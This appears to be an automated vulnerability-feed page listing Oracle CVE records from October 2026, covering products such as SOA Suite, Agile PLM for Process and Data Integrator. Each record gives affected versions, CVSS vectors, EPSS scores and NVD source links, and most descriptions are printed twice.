Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Agile Product Lifecycle Management for Process, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Agile Product Lifecycle Management for Process accessible data as well as  unauthorized access to critical data or complete access to all Oracle Agile Product Lifecycle Management for Process accessible data. CVSS 3.1 Base Score 9.3 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N).
CVSS 9.3 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91622).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91622&date=2026-10-25).
Sources:
NVD CVE-2026-91622: https://nvd.nist.gov/vuln/detail/CVE-2026-91622
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91622&date=2026-10-25
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Agile Product Lifecycle Management for Process, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Agile Product Lifecycle Management for Process accessible data as well as  unauthorized access to critical data or complete access to all Oracle Agile Product Lifecycle Management for Process accessible data. CVSS 3.1 Base Score 9.3 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).
https://kevwire.com/record/CVE-2026-91623
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management). (Oct 20, 2026).
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Agile Product Lifecycle Management for Process accessible data as well as  unauthorized access to critical data or complete access to all Oracle Agile Product Lifecycle Management for Process accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).
CVSS 7.4 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91623).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91623&date=2026-10-25).
Sources:
NVD CVE-2026-91623: https://nvd.nist.gov/vuln/detail/CVE-2026-91623
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91623&date=2026-10-25
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Agile Product Lifecycle Management for Process accessible data as well as  unauthorized access to critical data or complete access to all Oracle Agile Product Lifecycle Management for Process accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).
https://kevwire.com/record/CVE-2026-91625
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management). (Oct 20, 2026).
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Agile Product Lifecycle Management for Process accessible data as well as  unauthorized update, insert or delete access to some of Oracle Agile Product Lifecycle Management for Process accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).
CVSS 8.2 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91625).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91625&date=2026-10-25).
Sources:
NVD CVE-2026-91625: https://nvd.nist.gov/vuln/detail/CVE-2026-91625
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91625&date=2026-10-25
Vulnerability in the Oracle Agile Product Lifecycle Management for Process product of Oracle Supply Chain (component: Product Quality Management).   The supported version that is affected is 6.2.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Agile Product Lifecycle Management for Process.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Agile Product Lifecycle Management for Process accessible data as well as  unauthorized update, insert or delete access to some of Oracle Agile Product Lifecycle Management for Process accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Communications Billing and Revenue Management product of Oracle Communications (component: Platform).
https://kevwire.com/record/CVE-2026-91627
Vulnerability in the Oracle Communications Billing and Revenue Management product of Oracle Communications (component: Platform). (Oct 20, 2026).
Vulnerability in the Oracle Communications Billing and Revenue Management product of Oracle Communications (component: Platform).  Supported versions that are affected are 15.0.0.0.0, 15.0.1.0.0, 15.1.0.0.0 and  15.2.0.0.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Communications Billing and Revenue Management executes to compromise Oracle Communications Billing and Revenue Management.  Successful attacks of this vulnerability can result in takeover of Oracle Communications Billing and Revenue Management. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 7.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91627).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91627&date=2026-10-25).
Sources:
NVD CVE-2026-91627: https://nvd.nist.gov/vuln/detail/CVE-2026-91627
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91627&date=2026-10-25
Vulnerability in the Oracle Communications Billing and Revenue Management product of Oracle Communications (component: Platform).  Supported versions that are affected are 15.0.0.0.0, 15.0.1.0.0, 15.1.0.0.0 and  15.2.0.0.0. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Communications Billing and Revenue Management executes to compromise Oracle Communications Billing and Revenue Management.  Successful attacks of this vulnerability can result in takeover of Oracle Communications Billing and Revenue Management. CVSS 3.1 Base Score 7.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Data Integrator product of Oracle Fusion Middleware (component: Dictionary Repository).
https://kevwire.com/record/CVE-2026-91668
Vulnerability in the Oracle Data Integrator product of Oracle Fusion Middleware (component: Dictionary Repository). (Oct 20, 2026).
Vulnerability in the Oracle Data Integrator product of Oracle Fusion Middleware (component: Dictionary Repository).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via SQL to compromise Oracle Data Integrator.  Successful attacks of this vulnerability can result in takeover of Oracle Data Integrator. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91668).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91668&date=2026-10-25).
Sources:
NVD CVE-2026-91668: https://nvd.nist.gov/vuln/detail/CVE-2026-91668
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91668&date=2026-10-25
Vulnerability in the Oracle Data Integrator product of Oracle Fusion Middleware (component: Dictionary Repository).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via SQL to compromise Oracle Data Integrator.  Successful attacks of this vulnerability can result in takeover of Oracle Data Integrator. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).
https://kevwire.com/record/CVE-2026-87394
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core). (Oct 20, 2026).
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Outside In Technology accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Outside In Technology. CVSS 3.1 Base Score 8.2 (Confidentiality and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L).
CVSS 8.2 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87394).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87394&date=2026-10-25).
Sources:
NVD CVE-2026-87394: https://nvd.nist.gov/vuln/detail/CVE-2026-87394
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87394&date=2026-10-25
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Outside In Technology accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Outside In Technology. CVSS 3.1 Base Score 8.2 (Confidentiality and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).
https://kevwire.com/record/CVE-2026-87397
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core). (Oct 20, 2026).
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-87397).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-87397&date=2026-10-25).
Sources:
NVD CVE-2026-87397: https://nvd.nist.gov/vuln/detail/CVE-2026-87397
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-87397&date=2026-10-25
Vulnerability in the Oracle Outside In Technology product of Oracle Fusion Middleware (component: Outside In Core).   The supported version that is affected is 8.5.8. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Outside In Technology.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of Oracle Outside In Technology. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: Connectors and Connector Server).
https://kevwire.com/record/CVE-2026-91211
Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: Connectors and Connector Server). (Oct 20, 2026).
Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: Connectors and Connector Server).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows high privileged attacker with network access via SOAP to compromise Oracle Identity Manager Connector.  While the vulnerability is in Oracle Identity Manager Connector, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Identity Manager Connector accessible data as well as  unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N).
CVSS 8.7 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91211).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91211&date=2026-10-25).
Sources:
NVD CVE-2026-91211: https://nvd.nist.gov/vuln/detail/CVE-2026-91211
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91211&date=2026-10-25
Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: Connectors and Connector Server).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows high privileged attacker with network access via SOAP to compromise Oracle Identity Manager Connector.  While the vulnerability is in Oracle Identity Manager Connector, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Identity Manager Connector accessible data as well as  unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: Generic REST).
https://kevwire.com/record/CVE-2026-91212
Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: Generic REST). (Oct 20, 2026).
Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: Generic REST).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Identity Manager Connector.  While the vulnerability is in Oracle Identity Manager Connector, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).
CVSS 8.6 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91212).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91212&date=2026-10-25).
Sources:
NVD CVE-2026-91212: https://nvd.nist.gov/vuln/detail/CVE-2026-91212
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91212&date=2026-10-25
Vulnerability in the Oracle Identity Manager Connector product of Oracle Fusion Middleware (component: Generic REST).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.1.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Identity Manager Connector.  While the vulnerability is in Oracle Identity Manager Connector, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Identity Manager Connector accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle Business Process Management Suite product of Oracle Fusion Middleware (component: BPM Composer).
https://kevwire.com/record/CVE-2026-91213
Vulnerability in the Oracle Business Process Management Suite product of Oracle Fusion Middleware (component: BPM Composer). (Oct 20, 2026).
Vulnerability in the Oracle Business Process Management Suite product of Oracle Fusion Middleware (component: BPM Composer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Business Process Management Suite.  Successful attacks of this vulnerability can result in takeover of Oracle Business Process Management Suite. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91213).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91213&date=2026-10-25).
Sources:
NVD CVE-2026-91213: https://nvd.nist.gov/vuln/detail/CVE-2026-91213
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91213&date=2026-10-25
Vulnerability in the Oracle Business Process Management Suite product of Oracle Fusion Middleware (component: BPM Composer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Business Process Management Suite.  Successful attacks of this vulnerability can result in takeover of Oracle Business Process Management Suite. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).
https://kevwire.com/record/CVE-2026-91215
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer). (Oct 20, 2026).
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
CVSS 8.8 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91215).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91215&date=2026-10-25).
Sources:
NVD CVE-2026-91215: https://nvd.nist.gov/vuln/detail/CVE-2026-91215
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91215&date=2026-10-25
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle SOA Suite.  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).
https://kevwire.com/record/CVE-2026-91216
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer). (Oct 20, 2026).
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 10.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).
CVSS 10.0 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91216).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91216&date=2026-10-25).
Sources:
NVD CVE-2026-91216: https://nvd.nist.gov/vuln/detail/CVE-2026-91216
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91216&date=2026-10-25
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in takeover of Oracle SOA Suite. CVSS 3.1 Base Score 10.0 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).
https://kevwire.com/record/CVE-2026-91217
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer). (Oct 20, 2026).
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle SOA Suite accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).
CVSS 8.6 (version 3.1; evidence as of Oct 21, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-91217).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-91217&date=2026-10-25).
Sources:
NVD CVE-2026-91217: https://nvd.nist.gov/vuln/detail/CVE-2026-91217
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-91217&date=2026-10-25
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).  Supported versions that are affected are 12.2.1.4.0 and  14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle SOA Suite.  While the vulnerability is in Oracle SOA Suite, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle SOA Suite accessible data. CVSS 3.1 Base Score 8.6 (Confidentiality impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N).

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer).
https://kevwire.com/record/CVE-2026-91218
Vulnerability in the Oracle SOA Suite product of Oracle Fusion Middleware (component: Fabric Layer). (Oct 20, 2026).
